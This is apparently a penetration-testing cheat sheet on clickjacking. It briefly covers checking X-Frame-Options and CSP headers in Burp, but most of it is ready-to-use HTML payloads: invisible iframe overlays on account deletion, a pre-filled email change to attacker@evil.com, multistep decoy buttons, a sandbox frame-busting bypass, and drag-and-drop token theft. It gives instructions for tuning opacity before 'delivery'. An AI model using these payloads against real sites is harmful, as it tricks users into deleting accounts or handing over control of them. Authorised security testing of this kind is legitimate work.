Clickjacking (UI Redressing)
Clickjacking detection and exploitation: basic iframe overlay, multistep attacks, pre-filled form attacks, drag-and-drop data theft, frame-busting bypass, and CSP/X-Frame-Options detection with Burp. Every payload separated.
What is Clickjacking
Clickjacking overlays an invisible (or opacity-0) <iframe> of the target page over a decoy page. The victim thinks they’re clicking the attacker’s UI but is actually clicking the target’s hidden buttons — triggering state changes (transfers, account deletion, setting changes) without knowing.
Requires: the target page to be frameable (missing or weak X-Frame-Options / Content-Security-Policy: frame-ancestors).
Detection
Check framing headers in Burp
In Proxy → HTTP history, look at any page response and check:
| Header | Meaning |
|---|---|
X-Frame-Options: DENY | Cannot be framed — not vulnerable |
X-Frame-Options: SAMEORIGIN | Can only be framed by same origin — not directly vulnerable |
Content-Security-Policy: frame-ancestors 'none' | Cannot be framed — not vulnerable |
Content-Security-Policy: frame-ancestors 'self' | Same-origin only — not directly vulnerable |
| No header | Frameable — potentially vulnerable |
Quick manual check in a browser console:
// Run on your attacker page — if no error and iframe loads content, frameable
var i = document.createElement('iframe');
i.src = 'https://TARGET/account';
i.style = 'width:800px;height:600px';
document.body.appendChild(i);
Burp Scanner
Run an active scan against the target. Burp automatically tests X-Frame-Options and CSP frame-ancestors and reports missing/weak framing protections.
Basic clickjacking PoC
<html>
<head>
<style>
#target {
position: absolute;
width: 700px;
height: 500px;
opacity: 0.0001; /* nearly invisible — set to 0.5 during testing */
z-index: 2;
}
#decoy {
position: absolute;
z-index: 1;
}
/* Position button over the decoy "Click here to win" text */
#target {
top: 300px;
left: 60px;
}
</style>
</head>
<body>
<div id="decoy">
<h1>Win a prize!</h1>
<p>Click the button below to claim your reward:</p>
<button style="position:absolute;top:300px;left:60px;">CLICK HERE</button>
</div>
<iframe id="target" src="https://TARGET/account/delete"></iframe>
</body>
</html>
During development: set
opacity: 0.5to align the hidden button with the decoy button, then set to0.0001for delivery.
Pre-filled form attack
If the target action requires a form value (e.g., change email), pre-fill it via URL parameters before framing:
<iframe src="https://TARGET/email/change?email=attacker@evil.com"
style="opacity:0.0001;position:absolute;top:150px;left:80px;width:600px;height:400px;z-index:2;">
</iframe>
<div style="position:absolute;top:150px;left:80px;z-index:1;">
<button>Click to claim</button>
</div>
Multistep clickjacking
Some actions require multiple clicks (confirm dialogs, 2-step flows). Overlay multiple decoy buttons timed or positioned for each step:
<style>
iframe { opacity:0.0001; position:absolute; width:700px; height:500px; z-index:2; }
.step { position:absolute; z-index:1; }
</style>
<!-- Step 1 decoy aligned over "Delete account" -->
<div class="step" style="top:200px;left:100px;">
<button id="btn1">Spin the wheel!</button>
</div>
<!-- Step 2 decoy aligned over "Confirm" -->
<div class="step" style="top:350px;left:200px;display:none;" id="step2">
<button>Yes, I'm sure!</button>
</div>
<iframe src="https://TARGET/account/delete"></iframe>
<script>
document.getElementById('btn1').onclick = function() {
document.getElementById('step2').style.display = 'block';
};
</script>
Frame-busting bypass
Legacy frame-busting uses JavaScript (top.location !== self.location). Disable it with the sandbox attribute:
<iframe sandbox="allow-forms allow-scripts allow-same-origin"
src="https://TARGET/account/delete"
style="opacity:0.0001;position:absolute;top:200px;left:100px;width:700px;height:500px;z-index:2;">
</iframe>
sandbox without allow-top-navigation prevents the frame-buster from redirecting the top frame.
DOM-based clickjacking via drag-and-drop
Some browsers allow cross-origin drag-and-drop. Trick the user into dragging from the attacker’s frame (e.g., a fake CAPTCHA) into a hidden text field on the target frame, exfiltrating data:
<!-- Victim drags the "CAPTCHA" text into the drop zone -->
<div draggable="true" ondragstart="event.dataTransfer.setData('text','stolen_token_value')">
Drag me to solve CAPTCHA
</div>
<iframe src="https://TARGET/profile?drag_target=token_field"
style="opacity:0.5;position:absolute;top:200px;left:300px;">
</iframe>
Burp Suite workflow
- Proxy → HTTP history — check response headers of target pages for
X-Frame-Options/ CSP. - Burp Scanner — active scan flags missing framing protections automatically.
- Repeater — load the target URL and inspect response headers.
- Build the PoC HTML above, adjusting
top/leftpixel values until the hidden button aligns with your decoy. - Use
opacity: 0.5during alignment,opacity: 0.0001for final delivery.